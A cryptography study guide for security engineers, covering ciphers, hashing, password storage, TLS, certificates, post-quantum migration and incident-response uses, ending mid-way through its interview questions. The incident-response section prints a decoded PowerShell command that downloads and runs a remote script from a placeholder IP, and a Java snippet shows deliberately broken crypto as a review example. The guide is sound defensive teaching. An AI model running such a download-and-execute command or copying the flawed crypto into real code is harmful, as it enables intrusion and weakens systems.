Security Notes
Cryptography & Identity

Cryptography — Practical Fundamentals

You will rarely be asked to implement cryptography. You will constantly be asked to recognise it, judge it and explain it: a code review with AES/ECB, a cloud bucket with the wrong key policy, a ransomware note, a base64 blob in a PowerShell log, a certificate that expired at 3 a.m. This file explains each building block in plain English, then shows what it looks like on screen, a real incident where it went wrong, and where you meet it on the job.

35 min read 17 sections 15 model answers verified 2026-10 version 7 · updated 2026-10-11

Last verified2026-10 Breadth layer: notes-security-core-knowledge.md Also see: TLS & Encryption for the protocol in depth

How each section is laid out:

  • What it is and why it matters — the plain-English idea.
  • In practice — what you'd actually see in a terminal, a log or a config file.
  • 📰 Real incident — a named event that shows why the rule exists.
  • 🎯 On the job — where a security engineer runs into it, and what to check.

The Big Picture: what crypto is for

Almost every question reduces to one of four jobs. Name the job and the tool follows.

The job (plain English)The technical nameThe tool you reach for
"Keep this secret"ConfidentialitySymmetric encryption (AES-GCM, ChaCha20)
"Prove it wasn't changed"IntegrityHashing (SHA-256)
"Prove who sent it"AuthenticityMAC (shared secret) or signature (key pair)
"Agree on a secret over an open wire"Key exchangeDiffie-Hellman (ECDHE)

The rule that ties it togetherasymmetric crypto is slow, so it is only used to establish trust and agree on a key; fast symmetric crypto then encrypts the data. That is TLS in one sentence, and it is also how ransomware, PGP email and cloud envelope encryption work.

Code review

Spot ECB mode, hard-coded keys, MD5 for passwords, Math.random() for tokens, and home-made "encryption" that is really encoding.

Cloud and platform

Who can use the KMS key, which TLS policy the load balancer enforces, whether secrets live in a secrets manager or in environment variables.

Incident response

Hash files for IOCs, decode base64 and XOR in malware and logs, recognise ransomware crypto and whether recovery is possible.

Architecture review

Where keys live, how they rotate, what happens when a certificate expires, whether a design survives a stolen key.

Memory hook

crypto rarely breaks; its use doesAlmost every famous "crypto" failure on this page is a usage bug: a reused nonce, a predictable random number, a missing check, a key left in a repo. AES itself has never been the weak point.


Symmetric Encryption

What is it?One shared key encrypts and decrypts, like a physical key that both locks and unlocks the same box. It is fast, which is why it does all the bulk encryption.

Why it mattersEvery HTTPS page, encrypted disk, VPN tunnel and cloud bucket is symmetric encryption doing the heavy lifting. The hard part is never the cipher; it is getting the key to both sides safely and keeping it safe, which is what the rest of cryptography is for.

The two ciphers you need to know

AES-GCM

the default. AES is the standard block cipher; GCM is the mode that also detects tampering. Fast on any modern CPU thanks to dedicated AES instructions.

ChaCha20-Poly1305

the alternative for devices without AES hardware (older phones, embedded and IoT). Faster than AES in pure software and naturally resistant to timing side-channels.

Both are AEAD ciphers (authenticated encryption with associated data): if a single bit of the ciphertext is changed, decryption fails loudly instead of returning garbage. Modes without authentication (ECB, CBC, CTR on their own) are how padding-oracle and bit-flipping attacks happen.

Why "never use ECB"ECB encrypts each 16-byte block independently, so identical input blocks produce identical output blocks. The famous "ECB penguin" image is still recognisable after encryption because the pattern leaks straight through.

In practiceCorrect use takes three things: a random key, a unique nonce per message, and storing the nonce next to the ciphertext.

python
import os
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

key = AESGCM.generate_key(bit_length=256)    # in real systems this comes from a KMS, never from source code
nonce = os.urandom(12)                        # 96-bit nonce, fresh for EVERY message under this key
ct = AESGCM(key).encrypt(nonce, b"card=4111...", b"order-42")   # "order-42" is authenticated but not encrypted
stored = nonce + ct                           # the nonce is not secret; it must travel with the ciphertext

What the wrong version looks like in a code review (Java):

java
Cipher c = Cipher.getInstance("AES");          // defaults to AES/ECB/PKCS5Padding — ECB, no integrity
byte[] iv = "0000000000000000".getBytes();      // fixed IV: every message reuses it
SecretKeySpec k = new SecretKeySpec("SuperSecretKey12".getBytes(), "AES");   // key in source code
📰

Real incident — Zoom used ECB (2020). Researchers at Citizen Lab found Zoom meetings were encrypted with a single AES-128 key in ECB mode, despite being marketed as end-to-end encrypted. Patterns in video frames could leak, and keys were sometimes issued from servers in another country. Zoom moved to AES-256-GCM and later added real end-to-end encryption.

📰

Real incident — nonce reuse on the live web (2016). The "Nonce-Disrespecting Adversaries" study scanned HTTPS servers and found 184 that repeated AES-GCM nonces, which let an attacker forge content on those sites, including large organisations' pages. A single repeated nonce exposes GCM's authentication key.

🎯

On the job — code review checklist for symmetric crypto. Search for ECB, Cipher.getInstance("AES") without a mode, DES/3DES/RC4, constant IVs or nonces, keys in source or config files, and encryption without an authentication tag. The fix is almost always "use the platform's AEAD helper (AES-GCM) with a key from the KMS or secrets manager."

Recommendation

Use AES-256-GCM by default and ChaCha20-Poly1305 where there is no AES hardware. If you can't guarantee unique nonces (many servers generating them randomly at high volume), use AES-GCM-SIV, which survives accidental reuse. Never roll your own mode.


Asymmetric Encryption

What is it?A pair of mathematically linked keys: a public key you hand out and a private key you guard. What one does, only the other can undo. It is slow, so it is only used for agreeing on keys and signatures, never for bulk data.

Why it mattersIt solves what symmetric crypto can't: two strangers establishing a secret over a wire an attacker is watching.

The mirror-image roles (the part that trips people up):

Encrypt for secrecy

encrypt with the recipient's public key; only their private key can read it.

Sign for proof

sign with your own private key; anyone with your public key can verify it.

RSA vs Elliptic Curve

RSAElliptic Curve (ECC)
Based onFactoring big numbers is hardElliptic-curve discrete log is hard
Key size for ~128-bit security3072 bits256 bits
SpeedSlower, biggerFaster, smaller
StatusFine but legacy-leaningThe modern default

Curves to knowX25519 (key exchange) and Ed25519 (signatures) are the modern defaults; P-256 / P-384 are older NIST curves still common in TLS and required by some compliance regimes; secp256k1 is Bitcoin and Ethereum.

In practiceYou meet key pairs every day as SSH keys and certificate keys:

console
$ ssh-keygen -t ed25519 -C "laptop-2026"
$ ssh-keygen -l -f ~/.ssh/id_ed25519.pub
256 SHA256:Xb3k…qT0 laptop-2026 (ED25519)          ← key size, fingerprint, comment, algorithm

$ ssh-keygen -l -f old_server_key.pub
1024 SHA256:9fA…mZ root@build01 (RSA)               ← 1024-bit RSA: an audit finding

And what a leaked private key looks like when it turns up in a repository or a paste site:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
…

none near the start of that blob means the key is not passphrase-protected: whoever copies the file can use it immediately.

📰

Real incident — the Debian OpenSSL bug (2008, CVE-2008-0166). A maintainer removed two lines that fed randomness into OpenSSL's generator, leaving the process ID as almost the only input. For two years, every SSH and TLS key generated on Debian and Ubuntu came from a pool of about 32,768 possibilities per key type and size. Attackers simply precomputed them all. Every affected key had to be regenerated.

📰

Real incident — ROCA (2017, CVE-2017-15361). A flaw in how an Infineon library generated RSA keys made the private key recoverable from the public key. It affected smart cards, TPM chips and around 750,000 Estonian national ID cards, which had to be re-issued.

📰

Real incident — Sony PS3 (2010). ECDSA signatures need a fresh random number for every signature. Sony used the same one every time, so researchers solved for the private key from two signatures and could sign their own software as Sony. Ed25519 removes this risk by deriving that number deterministically from the message and key.

🎯

On the job. Secret scanners (GitHub push protection, gitleaks, trufflehog) look for BEGIN … PRIVATE KEY headers; treat any hit as a compromised key, rotate it and check its use in logs. In audits, flag RSA below 2048 bits, DSA keys, and keys without a passphrase or hardware backing on admin laptops.

Recommendation

Prefer Ed25519 / X25519 for new systems. RSA (2048-bit minimum, 3072+ for long-lived keys) is fine for compatibility. Never use "textbook" RSA: encryption needs OAEP padding, signatures need PSS.


Diffie-Hellman and Forward Secrecy

What is it?A way for two parties to agree on a shared secret while everyone is listening, without sending the secret.

Memory hook

The paint analogyBoth sides start with a public shared paint colour. Each secretly adds their own colour and swaps the mixed buckets in the open. Each then adds their secret colour to the other's bucket, and both end up with the identical final mix. An eavesdropper saw both mixed buckets but can't un-mix paint. Mixing is easy; separating is hard.

Why it matters — forward secrecyThe "E" in ECDHE (elliptic-curve Diffie-Hellman ephemeral) means a brand-new throwaway key pair for every session. If an attacker records traffic today and steals the server's private key next year, they still can't decrypt the recordings, because the session keys no longer exist. TLS 1.3 makes this mandatory; TLS 1.2 also allowed "RSA key transport," where stealing the server key later unlocked every recorded session.

In practiceYou can see the key exchange of any HTTPS server:

console
$ openssl s_client -connect example.com:443 -tls1_3 </dev/null 2>/dev/null | grep -E "Protocol|Cipher|Temp Key|group"
Protocol  : TLSv1.3
Cipher    : TLS_AES_256_GCM_SHA384
Peer Temp Key: X25519, 253 bits              ← ephemeral key exchange = forward secrecy
📰

Real incident — Logjam (2015, CVE-2015-4000). Many servers still accepted 512-bit "export-grade" Diffie-Hellman, a deliberately weakened option from 1990s export rules. Attackers could downgrade connections to it and break them. The same research estimated that a nation-state could precompute attacks on the most common 1024-bit groups. Lesson: remove weak options rather than relying on clients not to choose them.

🎯

On the job — forward secrecy breaks passive decryption. Older network security appliances decrypted TLS by loading the server's private key and reading a copy of the traffic. With ECDHE that no longer works; inspection now requires an inline proxy that terminates TLS, or exporting session keys. For your own debugging and forensics, browsers and curl write session keys to the file named in the SSLKEYLOGFILE environment variable, which Wireshark can load to decrypt a capture.


Hashing

What is it?A one-way function that turns any input into a fixed-size fingerprint (a digest). Same input, same fingerprint; you can't run it backwards; and you can't find two inputs with the same fingerprint.

Why it mattersHashing proves integrity ("did this change?") and gives things stable identities: file downloads, Git commits, certificates, malware samples.

AlgorithmStatusUse it for
MD5Broken for securityNon-security checksums; still used as a malware identifier
SHA-1Broken (practical collision 2017)Avoid; being removed everywhere
SHA-256SecureThe default for almost everything
SHA-384 / SHA-512SecureHigher security margin or 64-bit optimised
SHA-3SecureDifferent design; backup if SHA-2 ever falls
BLAKE3SecureVery fast modern checksums
Memory hook

Why collision security is half the bit length — the birthday paradox. In a room of 23 people there is a better than even chance two share a birthday, because you compare every pair. Likewise, finding any two inputs with the same n-bit hash takes about 2^(n/2) tries, so SHA-256 gives ~128-bit collision resistance and MD5 only ~64-bit.

In practice

console
$ sha256sum invoice.pdf.exe
3f5a…e91c  invoice.pdf.exe

PS> Get-FileHash .\invoice.pdf.exe -Algorithm SHA256

$ git cat-file -t 9fceb02            ← a Git commit ID is a hash of its content
commit

Change a single byte of the file and the whole hash changes — useful for integrity, and exactly why attackers recompile or pad malware to evade hash-based blocklists.

📰

Real incident — SHAttered (2017). Google and CWI Amsterdam published two different PDF files with the same SHA-1 hash, the first practical SHA-1 collision. Git, certificate authorities and document-signing systems accelerated their move to SHA-256.

📰

Real incident — Flame (2012). The Flame espionage malware spread through Windows Update using a forged Microsoft code-signing certificate. The attackers created it with an MD5 chosen-prefix collision against a Microsoft certificate service that still signed with MD5. A broken hash became a trusted signature.

🎯

On the job. You will hash files during every investigation (see crypto in incident response), verify vendor downloads against published SHA-256 values, and see hash-based allow-listing (AppLocker, WDAC) in endpoint controls. If you find MD5 or SHA-1 used for security (signatures, password storage, integrity of untrusted data), that's a finding.

Recommendation

SHA-256 for integrity and signatures. Never use a plain hash for passwords; that is a different problem.


Password Storage

Last verified2026-10 — Argon2id is OWASP's first choice; GPU speeds are order-of-magnitude figures for one high-end consumer GPU.

The problemWhen a user database leaks, the attacker has every password hash and unlimited time to guess offline. A general-purpose hash is built to be fast, which makes it a terrible password hash.

HashRoughly how many guesses per second on one high-end GPU
MD5well over 100 billion
SHA-256around 20 billion
bcrypt (cost 12)around a thousand
Argon2id (memory-hard settings)far fewer, and it doesn't parallelise cheaply because each guess needs lots of RAM

The fixdeliberately slow, memory-hungry functions plus a salt (a unique random value per password, stored with the hash) so identical passwords produce different hashes and precomputed rainbow tables are useless.

FunctionNotes
Argon2idFirst choice. Memory-hard, which defeats GPU and ASIC cracking farms.
scryptAlso memory-hard; good.
yescryptDefault for Linux account passwords on current Debian, Ubuntu and Fedora.
bcryptStill acceptable; CPU-hard but uses little memory. Truncates passwords at 72 bytes.
PBKDF2Legacy and compliance (FIPS); weakest here because it isn't memory-hard.

In practiceThe stored format tells you the algorithm and its cost at a glance:

/etc/shadow on a modern Linux host
alice:$y$j9T$Fq0…$Vh4…:19700:0:99999:7:::          ← $y$ = yescrypt
bob:$6$rounds=5000$Zx…$Q1…:19500:0:99999:7:::       ← $6$ = SHA-512-crypt (older default)

Application databases
$2b$12$KIX…                                          ← bcrypt, cost 12 (2^12 iterations)
$argon2id$v=19$m=65536,t=3,p=4$c2FsdA$Rd…            ← Argon2id, 64 MiB memory, 3 passes, 4 lanes
5f4dcc3b5aa765d61d8327deb882cf99                     ← 32 hex chars, no salt: unsalted MD5 ("password")
📰

Real incident — LinkedIn (2012). Passwords were stored as unsalted SHA-1. When the hashes leaked (eventually 117 million), most were cracked within days, and the reuse of those passwords fed credential-stuffing attacks for years.

📰

Real incident — Adobe (2013). About 150 million passwords were encrypted with 3DES in ECB mode instead of hashed, alongside plain-text password hints. Identical passwords produced identical ciphertext, so the hints of everyone sharing a password could be combined to guess it — the ECB penguin, applied to people.

🎯

On the job. After a breach, the first question about leaked credentials is "which hash format?": an $argon2id$ dump buys users time, an unsalted MD5 dump means assume every password is known. In reviews, flag fast hashes, missing salts, encryption instead of hashing, and low cost factors. Detect credential stuffing by watching for many accounts failing from the same sources.

Recommendation

Argon2id for new systems; bcrypt is acceptable for existing ones; always a per-password salt. Raise cost factors as hardware gets faster.


MACs and Digital Signatures

Both answer "who sent this, and was it changed?" — but they trust differently.

MAC (message authentication code)

What is it?A keyed fingerprint. Both sides share one secret key; the sender attaches a tag and the receiver recomputes it. The common one is HMAC (for example HMAC-SHA256).

The catch — symmetric trustBoth sides hold the same key, so a MAC proves the message came from someone with the key, but either party could have made it. Integrity and authenticity between two trusting parties, no non-repudiation.

⚠️

Don't build a MAC as sha256(secret + message). SHA-256 allows a length-extension attack: someone who sees a valid tag can append data and compute a new valid tag without knowing the secret. HMAC's nested design prevents this.

Digital signature

What is it?The same goal with a key pair: sign with your private key, anyone verifies with your public key. Only you hold the private key, so a valid signature proves you signed it and you can't deny it (non-repudiation).

MAC (HMAC)Signature (RSA, ECDSA, Ed25519)
KeysOne shared secretPublic/private pair
SpeedVery fastSlower
Non-repudiationNoYes
Use whenBoth parties trust each otherA third party must verify, or identity matters

In practiceTwo places you'll see these weekly:

Webhook from GitHub (HMAC-SHA256 of the request body with a shared secret)
X-Hub-Signature-256: sha256=7d38cdd689735b008b3c702edd92eea23791c5f6…

A JWT header, base64url-decoded
{"alg":"HS256","typ":"JWT"}    ← HMAC: whoever verifies can also mint tokens
{"alg":"RS256","kid":"2026-key"} ← RSA signature: only the private-key holder can mint

Verifying the webhook correctly means recomputing the HMAC over the raw body and comparing with a constant-time function (hmac.compare_digest), because a normal string comparison leaks timing that can be used to guess the tag byte by byte.

📰

Real incident — Flickr API (2009). Flickr signed API calls as md5(secret + parameters). Researchers Thai Duong and Juliano Rizzo used length extension to append their own parameters to legitimately signed requests and produce valid signatures without knowing the secret.

📰

Real incident — Storm-0558 (2023). A threat actor obtained a Microsoft consumer-account signing key and used it to forge authentication tokens that Exchange Online accepted for enterprise mailboxes, reading email at government agencies. Two failures combined: a signing key escaped its protected environment, and token validation didn't check that the key was meant for that kind of token. Signatures are only as strong as key custody and verification logic.

🎯

On the job. In JWT reviews check that the server pins the expected algorithm (rejecting alg: none and HS256-for-RS256 confusion; see JWT attacks), validates issuer, audience and expiry, and fetches keys only from a trusted source. For webhooks and API signing, check raw-body HMAC with constant-time comparison and a timestamp to stop replays.


How TLS Works

What is it?TLS (Transport Layer Security, the "S" in HTTPS) turns an open connection into a private, authenticated one: it encrypts traffic, proves the server's identity with a certificate, and detects tampering.

The whole idea in four steps:

Agree on keys

without sending them → ECDHE.

Prove the server is who it claims

certificate plus a signature over the handshake.

Switch to fast encryption

both sides derive the same symmetric keys (AES-GCM or ChaCha20).

Detect tampering

AEAD rejects modified data.

TLS 1.3 handshake (1 round trip)

Client                                         Server
  │── ClientHello ──────────────────────────────►│
  │   "ciphers I support + my ECDHE key share"    │
  │◄───────────────────────── ServerHello ────────│
  │   "picked this cipher, here's my key share"   │
  │◄──── {Certificate} ───────────────────────────│  ← from here on, encrypted
  │◄──── {CertificateVerify} ─────────────────────│  signature proving it owns the cert
  │◄──── {Finished} ──────────────────────────────│
  │── {Finished} ────────────────────────────────►│
  │════════ encrypted application data ══════════ │

The client sends its key share in the very first message, so both sides can derive keys after one round trip and the server's certificate travels encrypted.

In practicecurl -v narrates the handshake, which is the fastest way to debug "why does this HTTPS call fail?":

console
$ curl -sv https://api.example.com -o /dev/null 2>&1 | grep -E "^\* (SSL|TLS|ALPN|Server cert|  subject|  expire|  issuer|  SSL cert)"
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / X25519 / RSASSA-PSS
* ALPN: server accepted h2
*  subject: CN=api.example.com
*  expire date: Feb 20 23:59:59 2027 GMT
*  issuer: C=US; O=Let's Encrypt; CN=R11
*  SSL certificate verify ok.
📰

Real incident — Heartbleed (2014, CVE-2014-0160). A missing length check in OpenSSL's heartbeat feature let anyone ask a server to echo back up to 64 KB of its memory, repeatedly and silently. Researchers extracted session cookies, passwords and the servers' private TLS keys. The protocol was fine; one implementation bug in the most widely used library exposed a large share of the internet. Forward secrecy limited the damage to past recorded traffic.

🎯

On the job. Audit endpoints with testssl.sh or nmap --script ssl-enum-ciphers for old protocol versions, weak ciphers and certificate problems. Expect enterprise TLS inspection proxies (the corporate root CA installed on laptops) and certificate pinning in mobile apps, which breaks inspection by design. In investigations, TLS server fingerprints (JA4S) and certificate details are good pivots for finding related attacker infrastructure.


TLS 1.3 vs TLS 1.2

Last verified2026-10 — TLS 1.3 (RFC 8446, 2018) is the default in all major browsers and servers; TLS 1.0 and 1.1 are deprecated (RFC 8996, 2021).

TLS 1.3 is faster and removed every way to do it insecurely.

TLS 1.2TLS 1.3
Handshake2 round trips1 round trip (0 with resumption)
Forward secrecyOptionalMandatory
Cipher choicesDozens, including weak ones5, all modern AEAD
RC4, 3DES, MD5, RSA key transportStill allowedRemoved
Server certificateSent in the clearEncrypted

0-RTT caveatTLS 1.3 can send data in the very first packet when resuming a session, but that early data can be replayed by a network attacker. Only allow it for idempotent requests (a GET that reads), never for "transfer money."

📰

Real incident — POODLE (2014, CVE-2014-3566). Attackers could force browsers to fall back to SSL 3.0 and then decrypt cookies through a padding-oracle flaw in its CBC mode. The fix was to switch SSL 3.0 off everywhere. TLS 1.3 is the end point of that lesson: no legacy options left to downgrade to.

🎯

On the job. For cloud load balancers, pick the provider's TLS 1.3/1.2 forward-secrecy policy; for internal services, prefer TLS 1.3 only. Keep TLS 1.2 where old clients force it, with ECDHE and AEAD suites only.


Certificates and PKI

Last verified2026-10 — public TLS certificate lifetimes are shrinking on a fixed schedule; see below.

The problem certificates solveA server can hand you a public key, but how do you know it's really bank.com's key and not an attacker's?

The passport analogythe certificate authority (CA) is the government; the certificate is the passport binding an identity (a domain name) to a public key with the CA's signature; your browser is border control carrying a list of trusted governments (the root store). A CA that issues fake passports gets distrusted, and that has really happened.

Root CA                 (self-signed, kept offline, pre-installed in your device)
   └── Intermediate CA  (signed by the root; does the day-to-day issuing)
          └── Your server's certificate   (signed by the intermediate)

TypesDV (domain validated: the CA checked you control the domain, automated, the vast majority of certificates) versus OV/EV (organisation checked; browsers no longer display it differently). SAN (subject alternative name) is the list of names the certificate covers, and the only field browsers check. Wildcards (*.example.com) cover one level of subdomains, and one stolen key impersonates all of them.

Lifetimes are shrinkingUnder CA/Browser Forum ballot SC-081, the maximum lifetime of a public TLS certificate fell from 398 to 200 days on 15 March 2026, falls to 100 days in March 2027 and to 47 days in March 2029. Short lifetimes limit how long a stolen key is useful and make broken revocation matter less, but only work with fully automated renewal (the ACME protocol).

Revocation is the weak spotCRLs (revocation lists) are bulky and stale; OCSP (live status checks) leaks your browsing to the CA and browsers skip it when it's slow; OCSP stapling has the server attach a fresh proof. The industry is moving away from OCSP altogether: Let's Encrypt switched off its OCSP service in August 2025 and publishes revocation only through CRLs, relying on short lifetimes.

Certificate Transparency (CT)Every publicly trusted certificate must be written to public append-only logs, or browsers reject it. Anyone can search the logs, so mis-issuance can't stay secret.

In practiceReading a certificate is a core skill:

console
$ openssl s_client -connect example.com:443 -servername example.com </dev/null 2>/dev/null \
    | openssl x509 -noout -subject -issuer -dates -ext subjectAltName
subject=CN = example.com
issuer=C = US, O = Let's Encrypt, CN = R11
notBefore=Sep 10 08:12:44 2026 GMT
notAfter=Mar 29 08:12:43 2027 GMT
X509v3 Subject Alternative Name:
    DNS:example.com, DNS:www.example.com

Searching CT logs for every certificate ever issued for a domain (including look-alikes):

console
$ curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u
📰

Real incident — DigiNotar (2011). A Dutch CA was hacked and issued a fraudulent *.google.com certificate used to intercept the Gmail of around 300,000 users in Iran. Nobody could see it had been issued. Browsers removed DigiNotar, the company went bankrupt, and the incident drove the creation of Certificate Transparency.

📰

Real incident — the Let's Encrypt root expiry (2021). When the old DST Root CA X3 expired on 30 September 2021, older Android phones, IoT devices and systems with outdated OpenSSL suddenly failed TLS connections, even though the server certificates were fine. Trust stores on devices you don't control are part of your availability.

🎯

On the job. Monitor CT logs for certificates on your domains you didn't request (mis-issuance or a forgotten team) and for look-alike phishing domains; alert on certificate expiry long before it happens, since expired certificates remain one of the most common causes of outages; and treat CT logs as an attacker's subdomain list for your organisation.


How to Verify a Certificate (as a user)

What the browser checks, in order:

Trusted chain

the server's certificate chains through intermediates to a root in the device's trust store. A self-signed certificate fails here.

Name match

the hostname you typed appears in the certificate's SAN list.

Time

today is between "not before" and "not after."

Revocation

via CRLs, stapled OCSP or the browser's own revocation lists.

CT

proof the certificate was publicly logged.

Memory hook

The insight interviewers wanta certificate authenticates the domain name, not the intentions of its owner. A phishing site at bank-secure-login.com can hold a perfectly valid certificate. The padlock means "encrypted to this domain," not "trustworthy."


mTLS (Mutual TLS)

What is it?Normal TLS proves only the server's identity. mTLS makes it two-way: the client also presents a certificate, so both sides prove who they are with keys instead of passwords or API tokens that can be phished or replayed.

Normal TLS:   Client ──checks──► Server's cert      (only the server proves identity)
mTLS:         Client ──checks──► Server's cert
              Client ◄──checks── presents own cert  (both prove identity)

Where it's usedservice-to-service traffic in zero-trust networks and service meshes (Istio, Linkerd, SPIFFE/SPIRE), Kubernetes control-plane components, B2B and open-banking APIs, and device identity for managed laptops and IoT fleets. It's rare for human web users because issuing and rotating a certificate per person is heavy.

In practice

console
$ curl --cert client.crt --key client.key https://partner-api.example.com/orders
curl: (56) OpenSSL SSL_read: tlsv13 alert certificate required    ← server demanded a client cert you didn't send
yaml
# Istio: require mTLS for every workload in the namespace
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata: { name: default, namespace: payments }
spec: { mtls: { mode: STRICT } }
🎯

On the job. The common mTLS outage is an expired client or CA certificate nobody owned. The common security gap is a server that requests a client certificate but doesn't check which identity it belongs to, so any certificate from the internal CA is accepted everywhere. Check both automated rotation and authorisation on the certificate's identity.

Recommendation

Use mTLS for machine-to-machine identity, automated by a service mesh or workload-identity system so rotation isn't manual. For humans, use phishing-resistant MFA (passkeys / FIDO2).


The Quantum Question

Last verified2026-10 — NIST published the first post-quantum standards in 2024 (FIPS 203/204/205); hybrid post-quantum key exchange is on by default in major browsers.

There are two quantum algorithms, and they do different damage:

Shor's algorithmGrover's algorithm
HitsAsymmetric cryptoSymmetric crypto and hashes
DamageBreaks RSA, Diffie-Hellman, ECDH, ECDSAHalves effective strength: AES-256 → ~128-bit
FixReplace: ML-KEM (FIPS 203) for key exchange, ML-DSA (FIPS 204) for signaturesUse 256-bit keys; nothing to replace
UrgencyHighLow
Warning

Harvest now, decrypt laterTraffic recorded today can be decrypted once a large quantum computer exists, so anything that must stay secret for a decade is already exposed. That's why key exchange is migrating first.

In practiceYou can see the migration happening: in Chrome DevTools → Security, the connection to many large sites shows key exchange X25519MLKEM768 — classical X25519 and post-quantum ML-KEM together, so the session stays safe if either holds. OpenSSL 3.5 and later support the same group:

console
$ openssl s_client -connect cloudflare.com:443 -groups X25519MLKEM768 </dev/null 2>/dev/null | grep -i group
Negotiated TLS1.3 group: X25519MLKEM768
🎯

On the job. The practical work today is a cryptographic inventory: which systems use RSA or ECC, for what, and how long their data must stay secret. Long-lived data, firmware signing and VPNs come first. Signatures in certificates migrate later because post-quantum signatures are several kilobytes larger.

Migration deadlines

Last verified2026-10

WhoMilestone
NIST (IR 8547 draft, 2024)RSA and elliptic-curve algorithms at 112-bit security deprecated after 2030, disallowed after 2035
US national security systems (CNSA 2.0)New acquisitions must support quantum-resistant algorithms from 1 January 2027; full migration by 2035
EU (NIS Cooperation Group roadmap, June 2025)National plans and crypto inventories started by end of 2026; high-risk systems migrated by 2030; as much as feasible by 2035

The pattern is the same everywhere: inventory now, key exchange first, high-risk systems by 2030, everything by 2035. "Crypto-agility", swapping an algorithm through configuration instead of a rewrite, is the real engineering goal.


Crypto in Incident Response

Defenders use cryptography constantly during investigations, mostly in three ways: telling encoding from encryption, using hashes as identifiers, and understanding ransomware.

Encoding vs encryption vs hashing

PurposeNeeds a key?Reversible?Examples
EncodingMake data safe to transport or displayNoYes, by anyoneBase64, hex, URL encoding, UTF-16
EncryptionKeep data secretYesOnly with the keyAES, ChaCha20, RSA
HashingFingerprint dataNo (HMAC: yes)NoSHA-256, MD5

Attackers use encoding to hide from humans and naive filters, not from cryptanalysis. The classic example in Windows logs:

console
# Event 4688 / Sysmon 1 command line
powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA…

$ echo 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA…' | base64 -d | iconv -f UTF-16LE -t UTF-8
IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.7/a.ps1')

PowerShell's -EncodedCommand is base64 of UTF-16LE text, which is why decoded output looks like letters separated by null bytes until you convert it. Malware also uses single-byte XOR and custom alphabets; CyberChef's "Magic" operation and tools like FLOSS extract and decode such strings. See Linux reverse engineering.

Hashes as indicators of compromise

Exact hashes

(SHA-256, and still MD5/SHA-1 for compatibility with threat-intel feeds) identify a specific file. Search EDR, VirusTotal and intel platforms by hash rather than uploading the file, which can tip off the attacker (see analyst OPSEC).

Exact hashes are brittle

change one byte and the hash changes, which is why hashes sit at the bottom of the Pyramid of Pain.

Similarity hashes

survive small changes: ssdeep and TLSH (fuzzy hashes of content) and imphash (a hash of a Windows executable's imported functions) cluster variants of the same malware family.

How ransomware uses cryptography

  1. Attacker embeds a public keyattackat build time
    • Each victim (or campaign) gets an RSA or Curve25519 public key; the private key never leaves the attacker
  2. Per-file symmetric keyattackduring encryption
    • For each file, generate a random AES or ChaCha20 key and encrypt the file (often only parts of large files — "intermittent encryption" — for speed)
  3. Wrap the file keyattacksame moment
    • Encrypt that file key with the attacker's public key and append it to the file
  4. Destroy the plaintext keyattackimmediately
    • Without the attacker's private key, the file keys can't be recovered
  5. Victim's optionsdefendafter
    • Restore from immutable backups, use a published decryptor if the family is flawed, or negotiate

This is the same hybrid design as TLS: asymmetric to protect keys, symmetric for speed. Properly implemented, it can't be broken. Recovery without paying usually comes from implementation mistakes: a reused or predictable key, keys left in memory, partially encrypted files, or seized attacker servers. Projects such as No More Ransom publish free decryptors for flawed families.

🎯

On the job — ransomware triage. Identify the family from the ransom note and file extension, check for a known decryptor, capture memory from still-running infected hosts before rebooting (keys can sometimes be recovered from the encrypting process), and preserve encrypted samples and notes. See AWS backups and ransomware resilience and BCP/DR.


Crypto Mistakes You'll Find in Code Review

ECB mode or no mode

Cipher.getInstance("AES") in Java defaults to ECB. Use AES-GCM.

Static or reused IV/nonce

A constant IV, or a counter reset on restart. Generate per message and store with the ciphertext.

Hard-coded keys

Keys in source, config files or container images. Fetch from a KMS or secrets manager.

Weak randomness

Math.random(), random.random(), rand() for tokens or keys. Use secrets, crypto.randomBytes, SecureRandom.

Fast hash for passwords

MD5, SHA-1, SHA-256 or unsalted anything. Use Argon2id or bcrypt.

Encrypt without authenticate

AES-CBC or CTR with no MAC invites padding-oracle and bit-flip attacks. Use AEAD.

Non-constant-time comparison

== on HMACs or tokens leaks timing. Use hmac.compare_digest / MessageDigest.isEqual.

Disabled certificate checks

verify=False, InsecureSkipVerify: true, trust-all TrustManagers. Fix the trust store instead.

Home-made crypto

XOR "encryption," custom ciphers, hash(secret + msg) MACs. Use a vetted library's high-level API.

JWT algorithm confusion

Accepting alg: none or letting the token pick HS256 vs RS256. Pin the algorithm server-side.


Recommendations Cheat Sheet

Last verified2026-10

JobUse this
Encrypt data (general)AES-256-GCM
Encrypt without AES hardware (mobile/IoT)ChaCha20-Poly1305
Encrypt when nonce uniqueness is hardAES-GCM-SIV
Key exchangeECDHE with X25519 (hybrid X25519MLKEM768 where supported)
Signatures (new systems)Ed25519
Signatures (broad compatibility)RSA-2048+ with PSS padding
General hashing / integritySHA-256
Password storageArgon2id (bcrypt acceptable)
Shared-secret authenticationHMAC-SHA256, constant-time compare
Random tokens and keysOS CSPRNG (secrets, crypto.randomBytes, SecureRandom)
Web encryption + identityTLS 1.3
Service-to-service identitymTLS, automated by a mesh or SPIFFE
Disk encryptionAES-XTS-256
SSH keysEd25519 (-sk hardware-backed for high value)

Universal rulesnever invent your own crypto, never use ECB, never reuse a nonce, always salt passwords, prefer AEAD, keep keys in a KMS or HSM, and automate certificate renewal.


Interview Questions

Q
In one sentence, why do we use both asymmetric and symmetric crypto in TLS?
Model answer

Asymmetric crypto is slow but solves trust and key distribution, so we use it only to verify the server and agree on a shared key; then fast symmetric crypto like AES-GCM encrypts the actual conversation. Ransomware and cloud envelope encryption use exactly the same split, which is a nice way to show you understand the pattern rather than one protocol.

Q
What problem does Diffie-Hellman solve, and what is forward secrecy?
Model answer

